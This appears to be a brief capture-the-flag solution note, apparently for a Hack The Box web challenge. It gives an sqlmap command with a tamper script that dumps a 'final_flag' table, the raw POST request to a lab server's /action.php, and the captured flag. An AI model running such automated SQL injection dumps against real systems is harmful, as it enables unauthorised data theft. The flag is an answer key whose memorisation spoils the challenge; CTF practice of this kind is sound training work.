sqlmap -r add_to_car-request.txt --threads 10 --tamper=between -T final_flag --dump --batch

add_to_car_request.txt

POST /action.php HTTP/1.1 Host: 94.237.61.187:45008 Content-Length: 8 Accept-Language: en-US,en;q=0.9 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 Content-Type: application/json Accept: / Origin: http://94.237.61.187:45008 Referer: http://94.237.61.187:45008/shop.html Accept-Encoding: gzip, deflate, br Connection: keep-alive

{"id":1}

note that you should try many times =))

HTB{n07_50_h7rd_r16h7?!}